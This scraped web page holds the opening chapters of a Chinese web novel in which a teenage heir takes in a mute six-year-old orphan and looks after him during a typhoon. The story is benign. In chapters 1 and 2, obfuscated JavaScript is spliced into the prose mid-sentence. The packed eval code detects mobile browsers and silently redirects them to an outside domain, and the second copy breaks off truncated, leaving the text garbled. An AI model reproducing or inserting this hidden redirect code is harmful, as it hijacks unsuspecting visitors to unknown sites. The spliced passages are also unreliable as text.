《老婆要慢慢养》 1. 第 1 章 “气象台播报,全港范围受强烈雷暴云团影响,局部地区将达到每小时50毫米以上强降雨,风力维持强劲,降雨预计持续至夜间……” 院长正在用手机看天气播报,转头瞄了眼外面的天。 “要下雨喽。” 不远处的沙发上坐着个小小身影,两手握着遥控器,本来在专心致志看动画片,听了这话后立即从沙发上跳下来,有点兴奋的跑到窗边,翘着脚趴在高高的窗台上往外望。 乌云已经阴沉沉压下来,天空像被泼了盘未干的浓墨,密线般的雨珠自天际接连滚落。 暮安见地面上已经有了点积水,扔下遥控器就准备跑出去,被院长一伸胳膊拦住了。 “干什么去,每次一下雨就往外跑,动画片不看了?” 面前站着的小孩子仰起头,巴掌大的小脸精致漂亮,像是真人手办娃娃,脸颊线条带着柔软稚嫩的婴儿肥,纤长浓密的睫毛弯曲卷翘,一双大眼睛纯真无辜,眨了两下。 他的瞳仁是浅褐色,像一汪平静湖水里映着薄暮天光。 院长明显被他看得心软了,声音也变得轻柔:“上次就是下雨的时候让你在外面踩了好一会的水,回来就感冒了,好几天才好利索,都忘了是不是?要再淋着又该生病了。” 暮安睁着大眼睛摇摇头,指指放在门边的雨伞。 院长对他道:“打伞也会溅到雨,而且现在雨还小,一会就该下大了。” 暮安还是想出去,拉着院长的袖子晃了晃。 院长叹了口气,摸着他的头发:“要说话啊安安。” 六岁大的孩子应该正是表达欲旺盛的时候,院里其他小孩整天叽叽喳喳吵得老师头都疼,要求他们把嘴巴闭上比登天还难,可暮安来了快一个月,每天都安安静静的,一个字都没开口说过。 他刚来没几天院长就发现这个问题,也找医生看过,生理机能没问题,是心理方面的。 年龄太小,医生不建议药物治疗,最好让身边人多跟他说话沟通,潜移默化激起他张口。 所以院长一直对他很关注,还破例允许他每天来自己办公室看动画片。 暮安非常有原则,他知道别的小朋友没有这项特权,自己也不会滥用,只在午休的时候过来看一个小时。 每天中午12点半,院长办公室的门会准时被人敲响。 穿着背带裤的暮安在门后露出张小脸,等院长对他点点头,他才会进来,坐到沙发上自己打开电视,找到最爱看的动画片,音量调的小一点,一动不动开始看。 看到一点半,再乖乖关了电视,对院长挥挥手离开。 院长每天都跟他说话,聊天,想让他也给点回应。 可暮安一直吝啬开口。 两人在办公室僵持了会,最后还是院长妥协,没给他雨伞,找了个儿童雨衣给他套上,又在他头顶戴了个小雨伞帽。 拍拍他的脑袋:“去吧,别把身上弄湿了,雨要是下大了就赶紧回来。” 暮安点了点头,提着雨衣跑了出去。 风风火火的小团子消失在楼梯口时,电梯门恰好打开。 几个穿着黑西装的人从里面出来,个子很高,肌肉壮实,看着像保镖,黑压压朝着办公室这边来。 院长愣住片刻,那群黑衣保镖已经走到他面前站定,朝两侧分开,身后走出个同样很高的少年。 穿着身裁剪妥帖的名贵西装,身姿挺拔,但看样貌年纪不大,像分化不久的alpha,脸庞尚存青涩弧线,眉眼间却带着超脱年龄的冷静沉稳,深潭似的黑眸定定望过来。 “您好,”对面人先开了口,语气礼貌,“我是墨时衍。” 墨时衍,墨氏的墨。 院长恍然大悟,换上副笑脸:“墨少,抱歉没认出您来,我们先前通过电话,只是没想到您这么快就来了。” “天气不好,本该早些到的,”面前人有着股少年老成的稳重和谦逊,“李院长,能不能借一步讲话?” 一堆人还站在办公室门口,旁边几个房间里的老师和孩子有出来看热闹的,走廊渐渐变得喧闹。 院里的老师大多是beta,包括院长,孩子们还没近距离接触过alpha,都对这一性别备感好奇。 可盯着远道而来的贵客看实在没礼貌,况且院里一直受着墨氏的恩惠,几栋教舍楼还是墨老爷子先前捐赠的。 院长忙冲远处几个老师招招手,让把孩子们领回去,然后开门引着墨时衍进了办公室。 墨时衍吩咐门口几人先下楼等,他本无意带这么多人来,但赵舟是老爷子安排跟过来的,虽然回国消息暂时封锁,可毕竟多年未回港市,算是人生地不熟。 赵舟还是让两人留在门口,带其他人下去了。 办公室内陈设简单,电视还暂停在动画片上。 窗外雨势渐渐变大,疾风吹着骤雨,劈里啪啦击打两棵白兰树,树下已经落了一地白色花瓣。 院长先关了电视,见墨时衍也站在窗台边看雨。 比窗台不知道高出多少。 “近来雨水多,潮气也重,”院长搭话道,“喝点凉茶祛祛湿。” “多谢。” 墨时衍接过,视线却一直望着白兰树下的身影。 黄色雨衣,上面印着个卡通小恐龙,背后有条又粗又长的尾巴,随着身体摆动晃来晃去,脑袋上还顶着个圆圆的小雨伞,在雨中独自一个人忙的团团转。 远处是即将到来的阴沉雨幕,这是唯一一抹亮色。 墨时衍没喝茶,也没继续跟院长寒暄,直接进入正题。 “李院长,我这次过来是为了接人。” 一个多月前,远在美国的墨老爷子托人找到暮安,并送来这所福利院暂时秘密托管。 暮家出了天大的事,暮安的父母,一对恩爱有加的alpha,因为家族破产负债累累,在把暮安安顿好后不幸遭遇车祸,独留下半大孩子撒手人寰。 暮家不是没有其他亲戚,但让暮安独自一人面对那群吃人不吐骨头的豺狼虎豹,暮父宁愿辗转找到毫无血缘关系的墨家相助。 或许早就知道自己命不久矣,暮父提前为暮安铺就好后路,墨老爷子与暮父是旧交,对于此番请求当然义不容辞。 况且他也觉得暮安这孩子可怜,这么小的年纪就失去双亲,和他自小带在身边的长孙身世同样凄惨。 他一个老头子,能把墨时衍培养成后继接班人,当然也能教育好暮安。 所以等墨时衍从欧洲回来,他立马赶人回国,去港市,亲自把暮安从福利院接出来。 墨时衍对此并没异议,或许人上了年纪就是容易爱心泛滥,用最后的日子多对社会做点善意贡献,以求消除些年轻时候犯下的罪业。 近十年来老爷子开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051687|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密集捐赠善款,资助学校、医院、福利院等社会化福利机构,墨氏也从一开始高歌猛进,急速扩张版图到如今稳居龙头宝座,维护起有担当责任的企业形象。虽然墨氏发展重心已经逐步转移海外,但每年港市企业家评选,墨老爷子还是蝉联榜首,无一例外。 李院长像是有些意外,忙道:“今天吗?安安刚才出去了,那我先找人把他叫回来,这里有些他的个人资料,您可以先翻阅看看,关于他的一些情况,我觉得您还是提前了解下比较好……” “不用麻烦了,”话没说完,墨时衍已经把桌上的文件拿起来,提步朝门口走,“雨大了,我去找他。” * 雨确实越下越大,暮安没在树下捡花瓣了。 他跑到个没人的屋檐,坐在台阶上,两手扶着自己头顶的雨帽,一会抬头看雨,一会低头看地上的水坑。 雨水滴滴答答落在他头顶的小雨伞,像在弹奏钢琴曲,而他身后那条长长的恐龙尾巴只能可怜耷拉在地板上。 他安静等了会,见水坑里的水积攒到差不多,便站到台阶上忽然跳下来,蹦进水坑里,踩得水花四处飞溅,再用脚蹦蹦跳跳用力踩几下。 他穿了双拖鞋,白皙圆润的脚趾已经被雨水泡得发皱,裤脚也有点湿,但他玩得开心,重新爬回去又准备往下跳。 身子才刚腾空,还没等落地,背后却忽得袭来股巨大力道,直接揪住了他的雨衣,毫不费力将他从雨里一把捞回来。 那根黄色的尾巴在空中摇晃了一圈,最后蔫哒哒垂在大理石地面上。 暮安还被人提着后衣领,两只脚尖点地,头顶的雨伞帽都歪了,雨水滑到脸上,打湿了耳边柔软的碎发。 一双湿漉漉的眼睛募然睁大,隔着层潮湿雨气,懵懂又惊慌的朝上望。 面前是一张完全陌生的脸,个子很高,看起来比他大了好几岁,眉眼微微垂着,把他提溜到眼前,也在居高临下打量着他。 原来帽檐下生着双琥珀色的眼睛,第一眼就会觉得很漂亮。 一大一小,在下雨的屋檐下互相看了会。 墨时衍动了动手,把人提到干燥的地面上才松开:“下雨天不能在外面玩,知不知道?” 暮安眨了眨眼,没回答,只是指指自己身上的雨衣。 他穿了雨衣的,没有淋湿。 墨时衍见他的反应似乎微微蹙眉,却没多问什么,上前帮他把头顶的雨伞帽取下来,见他脸颊上有被溅到的雨水,便从口袋拿出块手帕。 “擦脸。” 暮安对他说的话莫名其妙听从,接过来,自己胡乱把脸蛋使劲揉了揉,白皙的肌肤都被抹红了。 擦完之后又乖乖把手帕还回来,莹润眼眸一眨不眨望着他。 墨时衍见他额头和脖子里还都是水,捏了捏手中的帕子,素质和教养让他没法看着这个以后会成为他弟弟的人有丝毫狼狈。 明明在找到暮安之前,他还对这样的暴雨天感到烦躁。 但此刻他把手帕翻折个面,俯身蹲下,用干燥的一面轻轻给面前乖巧漂亮的小孩擦拭。 “你叫暮安,对么?” 暮安很安静的站着,从手帕后面露出眼睛,点点头。 “知道我是谁么?” 暮安又摇摇头。 墨时衍直起身子,略显郑重。 “以后,我就是你的哥哥。” 2. 第 2 章 暮安跟在墨时衍身后上了车,一溜排的黑车一起开走,站在楼前打着伞送别他的院长变得越来越小,最后消失在雨幕中再也看不见。 暮安不再趴在后车窗看了,板板正正坐回座椅上,小脸耷拉着。 他还没跟院长说他其实很喜欢这里,也很喜欢每天中午在院长办公室里看的动画片。 可眼前这个“哥哥”说要带他回家,他以后也不会再回这里了。 他有点伤心,摊开手掌,里面捏着几瓣被雨打落的白兰花。 墨时衍见他靠在椅背上,两条小腿在下面晃来晃去,米黄色的背带裤下面明显湿了块,像是坐得不舒服。 他侧身过来,把旁边座椅的加热功能打开。 没一会暮安便感觉屁股下面暖烘烘的,湿透的裤脚也被暖干了,他把手心里湿乎乎的花瓣也放到了座椅上,一整排排开,一起烘干。 墨时衍没再管他,接到他按说就已经完成了任务,足以交差。 车上还放着院长给的一摞资料,墨时衍在路上翻看了会。 上面记录已经很详细,出生年月,家庭背景,基因检测,体检报告,性格测试…… 包括他不愿开口说话大概率是因为遭受家庭变故的应激反应。 墨时衍侧眸看了眼,暮安已经把被烘干的花瓣重新捡起来,用细细白白的手指头捋平整,再小心翼翼塞回口袋里。 他全程低着头,用圆乎乎的脑袋对着人,头发有点长了,带着微微卷曲的弧度,看起来更像洋娃娃。 有一片不慎掉落到座椅下,他终于抬头伸着脖子到处找,发现是掉落到了墨时衍脚边,正想爬下去捡,却已经被人用两指捏着,正正好好放回了他手心。 暮安立即扭头看过来,见墨时衍竟然一直在看自己,像是有点不好意思,赶紧紧贴着靠背坐的板正,两手摸着裤缝。 墨时衍见他这副正襟危坐的模样,有些想笑,这时候也显露出同样不够成熟的一面,眼尾弯了弯。 “罚坐呢?” 暮安不看他,也不敢随便动,这哥哥是他新得的,他到现在还稀里糊涂,结果就要被带回家了。 车厢内一时静谧,只能听到劈里啪啦的雨声砸在车顶。 墨时衍把自己西装外套脱了,要不是今天为了显得正式他也不会穿成这样,随意团吧了下,塞到了暮安后背的空隙间。 “这样有没有舒服点?” 车坐椅对暮安来说太高了,垫着是好很多,他点头,墨时衍便继续低头看资料。 基因检测结果显示暮安以后大概率会分化成alpha,虽然现在的他看起来不像,但事实如此,他父母也都是alpha。 另外,今天恰好是8月2号。 车在雨幕中平稳顺滑穿梭,一个小时后驶进了兰佩斯湾。 天气晴朗的时候,这里能看到粉色珊瑚海和蔚蓝海角交汇的美景。 可台风天,只有黑沉怒号的海水和席卷沙滩的白浪。 车子开到岛上,这里有座世外庄园,很久前便在墨时衍名下了,老爷子送给他的生日礼物,虽然一直没回来住过,但时常有人打理。 赵舟先下了车,正欲去给后座的墨时衍撑伞,却见大少爷已经提前撑了柄黑色直柄大伞来到另一侧,给暮安打开了车门。 赵舟猛地一拍脑袋,怎么能忘了家里新添了个小少爷。 墨时衍冲车上的人伸出只手,语调平和:“下车吧,到家了。” 暮安后半程在车上简直昏昏欲睡,这会儿被外面飘进来的雨点冰的精神了些,有点怯怯地把小手放到了相对来说宽大很多的掌心内。 暴雨如注,墨时衍为两人撑着伞,伞身稍稍朝着暮安那边倾斜了些,牵着他快步往不远处的别墅正厅内走。 他迈地步子大,暮安跟着要小跑起来,雨水难免又溅到鞋子和小腿上。 进了正厅后,暮安甩了甩自己已经湿透的鞋子,鞋尖还滴滴答答朝下淌水。 他攥着墨时衍的手指没松,见脚下全是自己踩出来的水痕,那么干净的木地板都被弄脏了,他立即站定没再乱动。 抬眼,打量了下面前陌生的房子。 很大,很漂亮,有好几层,比他之前的家还要高一些,简直像个巨大华丽的城堡。 但是看起来有点冷冰冰的,没什么人气。 有个眉眼和善的中年女人连忙从里面迎出来,拿了块宽大的浴巾将暮安从头到脚裹了起来,暮安被迫松了手,眼睛睁得圆溜溜,一直在看墨时衍。 中年女人一边给他擦拭一边念叨:“外面雨一下子就大起来了,正好就在你们下车的时候,是不是都淋到了?我提前熬了点姜汤,等会喝一些,别感冒了,这个季节感冒最折磨人,好的也慢些。” “钟姨,”墨时衍道,“先带他去洗个热水澡。” 钟姨应承:“对,得赶紧把衣服换了,裤子都湿了半边吧,小少爷?” 暮安被拉着走出去几步,才意识到这个小少爷指的是自己。 他急急忙忙回头,见墨时衍正在打电话,一侧肩膀上居然湿了大半片。 上了二楼的浴室后,钟姨给他找了身干净衣服,在他身上比量了下,笑着道:“尺码正好,小少爷脱了衣服进去泡个热水澡吧,我提前放好水了。” 说着钟姨便准备帮暮安脱掉背带裤,暮安绷着小脸,赶紧往后撤开半步,揪着自己的背带缓缓摇头。 钟姨疑惑:“怎么了小少爷?不用我帮您?” 暮安点头,抱起一旁的衣服和毛巾,冲钟姨点点头,自己进了浴室。 他在福利院的时候都是自己洗澡的,老师还教了他们自己洗小裤裤,他长大了,这种小事当然用不着别人帮忙。 钟姨根本不放心他,在门口守着,不敢进也不敢走,等了快二十分钟,浴室的门终于被人从里面慢慢拉开。 暮安果真自己洗好澡换好衣服,就是头发弄湿了还没吹,吹风机放在洗手台上,太高了,他刚才在里面翘着脚够了好一会都没够到,还是只能出来求助。 钟姨拿了吹风机给他吹头发,吹得他小脸红扑扑的,见他这么乖巧懂事,到了新地方也安安静静不哭不闹,一时想到他的家事,钟姨心里又是喜欢又是疼爱,牵着暮安的手从二楼下来。 一楼餐厅内已经备好晚餐,由管家韩叔亲自过目,他们家大少爷素来要求高,这回又是从国外呆了那么些年第一次回国,不得好生伺候着,给做些外面吃不到的,港市老味道的美食。 墨时衍一回家就跟老爷子报备,他说自己的任务既然已经完成,那两人先前的约定也要作数。 说好了的,他答应老爷子亲自回来接暮安,老爷子便要给他等价的资源置换,他目前瞄上了个新能源项目,team已经组好,学校同意他们参加全球新能源项目大赛,现在他急需实验室和资金。 毫无疑问这项目会非常烧钱,但如果成功便能直接申请专利,墨氏虽然有现成资源,可墨时衍还在上学,毕竟没接管墨氏,老爷子也愿意在他还年轻的时候随他折腾几年。 所以对于平白无故多了个弟弟这件事墨时衍没什么太大感触,他一心想着回美国后该怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老爷子对他的教育严肃多于和蔼,惩罚多于宽宥,他要一丝不苟,谨言慎行,礼教有加,所以少年期的他就已经早熟,稳重,周全,说话做事永远有着超脱年龄的圆滑,滴水不漏。 但即便如此,他还是会在面对着一个小孩子的眼泪时,心仿佛被紧紧揪起来。 只敢抬手轻轻在他眼眶下擦拭。 “怎么了,为什么哭?”墨时衍把礼盒放到桌上,“不喜欢这个蛋糕吗?” 背后的蛋糕师傅心猛地提到嗓子眼。 暮安赶紧摇头,这蛋糕又大又漂亮,闻着就香香甜甜的,肯定很好吃。 墨时衍:“那是不喜欢这些菜?” 韩叔瞪着双眼睛,紧紧看着餐桌边两人。 暮安又摇头,他挑食严重,但这些菜里有不少他爱吃的。 墨时衍:“身体不舒服了?” 钟姨急的想直接冲厨房里把姜汤端出来,非得逼着两位祖宗一人一碗不可。 暮安实在不知道怎么表达他是因为感动,两手把桌上的礼盒拿下来,抱进怀里,目光充满询问。 墨时衍了然:“想现在打开是么?” 清亮的琥珀色眼眸里果然止住了泪,现在圆溜溜的睁着,浑圆的小猫脑袋用力点点,表示赞同。 墨时衍伸出只手,轻轻将他怀里的礼盒按住了。 漆黑的眸色望着他:“安安。” 暮安顿时乖乖站着不动,这是哥哥第一次叫他名字,他觉得有点紧张,也有点害怕,担心自己是不是哪里惹哥哥不高兴了。 谁知道墨时衍有些无奈,用手指碰了碰他的下巴。 “为什么不跟哥哥讲话?” 3. 第 3 章 暮安其实是跟谁都不讲话。 至于为什么,他自己也不知道。 一开始是因为不想,但后来慢慢的觉得不说话的感觉很好,干脆就不说了。 院长努力了一个月都没能从他嘴里听到一个音节,这事根本急不得。 墨时衍当然知道不能逼他,否则他一掉眼泪就让人受不了。 最后还是帮着暮安把礼盒拆开了,里面是个绿色小恐龙玩偶,咧着嘴巴露出一排可爱牙齿,背上还有个小书包,上面有个用牙齿拼成的笑脸。 暮安看起来很喜欢,用手臂放在脸颊上使劲揉了揉,皱着鼻子跟小恐龙面对面龇牙咧嘴。 墨时衍放心了些,礼物是在国外就买好了的,本来想做见面礼,这下正好当成生日礼物。 钟姨和韩叔几人也给暮安准备了礼物,暮安根本等不及,全都拆开看了,餐桌旁边摆了一地,他摸摸这个抱抱那个,觉得自己简直开心的快要眩晕过去。 对了,漂亮蛋糕还没吃呢,他真的要开心的晕倒了。 来这栋漂亮城堡的第一天,虽然外面风雨交加,但暮安的六岁生日过得温馨幸福。 这幸福劲一直持续到晚上,他睡在二楼自己的房间,一个人躺在柔软宽大的金丝绒床上。 睡觉前他没忘记把那几朵白兰花瓣收藏进他的画画本里,那是他为数不多从院里带过来的行李,以后他要是想念院长和福利院里的朋友们,或许可以翻翻画本。 做好一切后他抱着小恐龙睡了,但半夜雨势忽然又变大,电闪雷鸣,骤雨裹着哀嚎的狂风死命扑打着玻璃窗。 暮安做了噩梦,又猛然间被几道惊雷吓醒,房间太大,甚至能听到暴雨的回声。 周围漆黑一片,他怕的四肢使劲缩进被子里,很担心刚才梦里的鬼怪会从黑暗中冲出来将他一口吃掉。 他本来是不害怕的,但这里太空旷了,好像只剩下他一个人。 尤其是他动了动腿,感觉到身下的金丝绒毯好像有点不正常的湿润。 完蛋了,他好像犯了个大错。 暮安不敢再乱动,小心翼翼咬着被角,眼睛紧紧闭着,时不时抽噎几声。 轰—— 又一道雷声劈下来,声音大得像是就响在头顶。 暮安正瑟缩着,却忽得听到房门处传来极其微弱的响动声。 一定是鬼要来吃他了,因为他尿床了。 于是被子底下的暮安哭的更加伤心。 墨时衍迎着道闪电,看见被子底下在一下下抖动,他以为暮安被吓到惊厥,慌忙将被子一把扯开,只见底下露出张湿红小脸,圆润的眼睛都快肿成一条缝,白皙的脸蛋上满是乱七八糟的泪痕,看着可怜极了。 墨时衍心口忽然骤缩,托着他腋下把他从被子间抱起来。 明明没什么安慰人的经验,此刻却做的比谁都要好。 用手掌给他擦了擦眼泪,再摸摸他微微汗湿的头发:“好了好了,不哭了,被雷声吓醒了是么?” 暮安看清是他后心就已经安定不少,赶紧两手搂住他脖子,像抓住块救命稻草似的,趴在他身上默默流眼泪。 墨时衍庆幸自己起来看了眼,不然小孩自己藏在被子里哭晕过去都不知道出来喊人。 抱着他晃了晃,好声好气哄了会后,暮安总算是不再哭了。 墨时衍准备抱着他起身,却突然感受到了点异样。 他伸手进被子里摸了下,果然还有点温热。 暮安现在一声不吭,老老实实趴在他肩头,耳朵尖悄悄红了,小火车似的在热腾腾冒着气泡。 墨时衍没嫌弃,生怕刚哄好的再给惹哭了,便叫了声钟姨,想让她来给暮安换床单。 谁知道暮安怕丢脸,两手捂着他嘴巴不准他叫人,委屈隐忍的泪水看起来又要决堤。 墨时衍道:“好,不让别人知道,我先给你换衣服,再换床单,好不好?” 暮安同意了这个提议,点了点头,但衣服是他自己换的,没让墨时衍跟着进浴室。 墨时衍在外面给他把绒毯撤了,几万块一条,直接进了垃圾桶,然后又找了条新的给他铺好。 暮安从浴室出来,外面雨还在下,雷声一阵接一阵,他躺回干净柔软的大床上,墨时衍坐在床边陪着他。 “已经很晚了,睡吧。” 但暮安根本不敢闭眼,生怕哥哥走了,房内又只剩下他一个人。 他偷偷从被子下伸出手,用力攥着哥哥的衣角,这样哥哥走的时候他就能知道了。 墨时衍看见了,没拒绝,任由他抓着,伸手在他被子上轻轻拍了拍。 如果按照老爷子培养他的那套理论,此刻他应该先把暮安训斥一顿,然后对他的无能懦弱和胆怯感到羞愤懊恼,让他罚站或是抄字,总之是不能再这么安稳躺回去的。 可墨时衍没有那么做。 暮安眯了好一会都没睡着,墨时衍当然知道。 黑暗中好像响起道很轻的叹息,又好像没有。 攥着衣角的手忽然被人掰开,暮安猛地睁开眼。 墨时衍还坐在身边,对他摊开手:“要不要去哥哥那屋睡?” 这个诱惑简直太大,暮安根本抗拒不了,他使劲点点头,抱着自己的枕头和被子从床上一骨碌爬下来,还不忘把小恐龙也叼在嘴里,准备跟着哥哥去。 墨时衍把他的枕头被子拿下来:“不用这些,我床上有。” 暮安点头,把小恐龙举起来晃了晃,询问。 墨时衍笑了下:“这个没有,可以带着。” 暮安心安理得的抱住了小恐龙,墨时衍又提醒他:“鞋子穿好。” 暮安穿好鞋,跟在墨时衍身后走出房间。 外面很黑,楼梯上只有一排小暗灯,身后偌大的城堡像张开巨口的怪兽,但暮安却不怎么怕了。 他有哥哥,哥哥很高,力气很大,能把怪兽都打跑。 他雄赳赳气昂昂跟着哥哥来到主卧,自己脱了鞋子,乖乖爬上床。 墨时衍给了他一个枕头,暮安身子一歪倒上去,这回不怕了,也没再做噩梦。 只是他睡觉习惯蜷缩着身子,只占据了大床的一点点角落,身上盖着墨时衍给他的被子,睡得香甜无梦。 翌日一早,主卧两人还没醒,外面一群人先炸了锅。 韩叔和钟姨带人上上下下找了好几遍都没有人影,又让赵舟带着人去岛上找,也一无所获,就差上海里去寻人了。 卧室的门终于不急不缓从里面推开。 墨时衍站在三楼栏杆处往下看,像是被吵醒的,眼底有点没遮住的戾气。 韩叔在底下哭丧着脸:“大少爷!出大事了!小少爷昨天晚上不见了!我们已经在岛上找了好几圈都没见着人影,你说他一个小孩能跑到哪去?!” 钟姨急地头顶冒火:“雨到现在都还没停,来阵大风怕是都能把小少爷刮跑 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桌上只有他和墨时衍两人吃饭,他够不着的钟姨便在旁边帮他夹,夹了满满当当一大盘,还有一小碗粥。 他吃得香喷喷,又指了指桌上,示意钟姨再给他夹。 墨时衍原本睁一只眼闭一只眼,此刻却忽然开口:“先把盘子里的吃完。” 餐桌礼仪,端正优雅,细嚼慢咽,安静用餐,尊重食物。 可以随意些是一回事,但有些素质教养不能坏是另一回事。 暮安瘪了瘪嘴,一声不吭,埋头苦吃,事实证明他确实要多了,把盘子里的东西全吃完后,他肚子撑得难受,慢吞吞挪到沙发上去歇了好一会。 墨时衍用完早餐就进了书房,不知道在忙什么。 钟姨端了盘水果给暮安吃,对他道:“这荔枝还是先前送到岛上来的,这两天台风没法送更新鲜的了,不过这些我也在冰窖一直冷藏着,味道应该还可以,尝尝看。” 暮安自己剥了颗,红艳的外壳下丰盈的果肉依旧鲜亮饱满,香甜的汁水四溢,他尝了尝,甜的顿时眯了眯眼,伸出大拇指对钟姨连连称赞。 钟姨乐得一连给他剥了好几颗,还给他打开了电视,让他一边看一边吃,又把其他水果也切好摆上来,供他选择。 但暮安吃中了这荔枝,圆乎乎的籽从嘴巴里吐出来,十几个,全都整整齐齐摆在茶几上。 他已经吃了好多,还想再吃的时候,犯罪的小手却突然被人一把按住。 墨时衍站在他身侧,正俯着身子看他,对他道:“少吃,容易上火。” 暮安看着茶几上无辜的荔枝籽们,他好像确实吃了不少,舔了舔被汁水糊的黏黏的嘴巴,收了手。 墨时衍在他身旁坐下,见他看的动画片里全是各种直立行走的小动物,不禁皱了皱眉,没懂这些嗞哇乱叫的猪猪羊羊们有什么意思。 暮安见他好像不怎么高兴,想了想,又偷偷摸摸从盘子里拿出颗荔枝,低着头扒了好一会,扒出颗水嫩多汁的荔枝肉,墨时衍以为他又要吃,眉头蹙得更紧,还没开口,却见那只短乎乎的小手捏着圆圆的荔枝递到了他手边。 墨时衍转头,眸中有些惊讶,那双漂亮的浅褐色眼睛冲他笑起来,像弯弯的月牙。 是给哥哥吃的。 4. 第 4 章 暮安看他不动,推着他的手让他往嘴里送。 墨时衍不喜欢糖分超标的东西,但在还是把那颗甜到发腻的荔枝吃了,喉咙里像吞了口蜜。 籽吐出来,被暮安顺着往后摆在了一起。 墨时衍起身,跟钟姨交代了下,以后给暮安吃东西得顾及着点量,不然小孩子贪嘴没节制,要是他不阻止,暮安怕是能把那一整盘荔枝都吃了。 钟姨看了眼茶几,连连称是:“哎呀是我考虑不周了,我以为小少爷刚才餐桌上吃得那么饱,现在应该吃不下那么多了,就没看着他,我这就去把其他的都收了。” 墨时衍“嗯”了声,亲自看着钟姨把果盘撤走。 钟姨边收拾边想,这当了哥哥之后就是心细。 收好后钟姨抽了湿巾去给暮安擦嘴,暮安眼睛一直盯在电视机上,嘴巴被擦干净之后,又自觉把两只小手也伸出来,让钟姨也给他擦擦。 他是爱干净的小孩,手指缝里黏糊糊的他难受的很。 墨时衍站在沙发后面看了会,见暮安不哭不闹,转身又回了书房。 暮安一整天都过得逍遥自在,要不是外面雨实在太大,连窗外的风景都看不清,他真想再出去踩踩水。 但呆在屋子里也不错,哥哥家的电视机和一面墙一样大,画质也更清晰鲜亮,沙发像棉花糖一样软乎,他可以窝在上面看一整天,也不用担心别的小朋友见了羡慕。 韩叔和钟姨一会过来一趟,看看空调温度合不合适,小少爷的手冷不冷,问问小少爷渴不渴,饿不饿,要不要吃东西…… 暮安每次都摇头,他不冷不渴也不饿,就想看电视。 他干脆把韩叔和钟姨拉着一起坐在沙发上,一边牵一个,要他们陪自己一起看。 中午吃饭的时候餐桌上只有暮安一个,他想等墨时衍来了一起吃,坐在餐椅上不停晃着小腿,就是不动筷。 钟姨看出他的意图,跟他解释墨时衍还没忙完,要他不要等了自己先吃。 暮安只好乖乖点头,挑着让钟姨给他夹了少少的菜,闷着头把盘子里的全都吃完了。 午餐有好几道他不爱吃的,这是挑食的毛病又犯了,但墨时衍不在,他挑的光明正大,吃完之后就又回沙发上去了。 墨时衍一直忙到晚上,学校里还有点课业没完成,前几天他在欧洲比赛,结束后又直接回国,卡着点总算交上,又跟几个组员商量了下实验室的事。 从书房出来,正好看见客厅的沙发上整整齐齐三颗脑袋,中间那个太矮太小,从后面看只露出小半个,头顶圆滚滚的,在开心的左摇右晃。 韩叔和钟姨坐在他两边,讨论些他听不懂的话题。 “应该会是Omega吧,我看别人家的Omega从小就是长得白白嫩嫩的,跟咱小少爷一样。” “那可不一定,大少爷小时候长得也挺白净,这不也没分化成Omega?” “那能一样吗,咱们小少爷是漂亮的那种,人都说三岁看老,小少爷都六岁了,你看这大眼睛,小鼻子小嘴,跟洋娃娃似的,一看家里就没alpha基因。” “我怎么记得赵舟说他父母其实都是alpha来着……” 话没说完便被身后传来的声音打断。 “看多久了?” 韩叔和钟姨都被吓了一跳,也跟做错事似的赶紧站起身。 墨时衍身上的威严劲像个大家长,走过来看了眼暮安,暮安便有点心虚的从沙发上秃噜下来。 他今天是看了个够,从早上电视机就一直没关过,他除了吃饭上厕所几乎没离开过这棉花糖沙发,现在觉得自己过分了,磨磨蹭蹭过去把遥控器抱在手里,交到了墨时衍面前。 墨时衍直接把电视关了:“上楼睡觉。” 钟姨也道:“太晚了,小少爷是该睡觉了,小孩子不能熬夜,会长不高的,走走走我们回房间了。” 暮安没反抗,跟着钟姨上楼去了。 钟姨把他带回二楼他自己的房间,在门口等他洗漱完后,准备掀开被子让他上床,谁知道暮安摇摇头,拉着钟姨的手从房间出来,小短腿迈着楼梯又上了三楼,站到了主卧门口。 钟姨疑惑:“今晚你还睡在这?” 暮安果断点头。 “你跟哥哥说好了的?” 暮安想了想,又点头。 晚上外面的雨又大起来了,而且刚才他还听到了打雷声,要是他自己睡又做噩梦了怎么办? 又,又尿床了怎么办? 那么丢脸的事情一次就够了。 跟哥哥睡好,不会做噩梦,也不会害怕。 钟姨想着普通人家的小孩分床晚的也有,而且暮安这么乖,大少爷肯定也不忍心赶他出来,便打开房门,让暮安先上床睡了。 小恐龙玩偶还被端端正正摆在墨时衍的床头,暮安爬上床后,自己拿了个墨时衍的枕头枕着,拉过墨时衍的被子,只盖住了小肚子,给哥哥留了很大的地方,抱着玩偶安心闭上眼睛。 墨时衍刚进房门便察觉有些不对,果不其然,床上居然被个小萝卜头霸占了。 已经睡着的暮安把被子全裹到了自己身上,攒到了大床正中央,小小一个人占了大大的地盘,就连手里的小恐龙都单独枕了个枕头。 墨时衍在床边坐着看了会,这小孩倒是自觉,睡了一晚居然就赖他这了,外面雷声轰轰的,亏他还能睡这么香。 把那小恐龙挪开些位置,墨时衍正想躺上去,谁知道暮安这时候被惊动了,雾蒙蒙的大眼睛缓缓睁开,茫然眨了眨,睡懵了还没清醒过来,只发现有人把他的玩偶拿走了,鼻头皱了皱,立马要哭。 墨时衍只得又起来,让那个小恐龙继续躺在自己枕头上,和暮安排排睡。 雨点好歹没落下来,暮安吸了吸鼻子,眼皮沉沉的又合上了。 于是墨时衍一晚上没有枕头,第二天早上捏着脖子从楼上下来,钟姨见了拿热敷贴给他贴了好一会才缓解。 反观暮安倒是睡得很好,今天穿了身新衣服,黄色背带裤,黄白条纹袜子,白色小皮鞋,像个漂漂亮亮的小奶黄包。 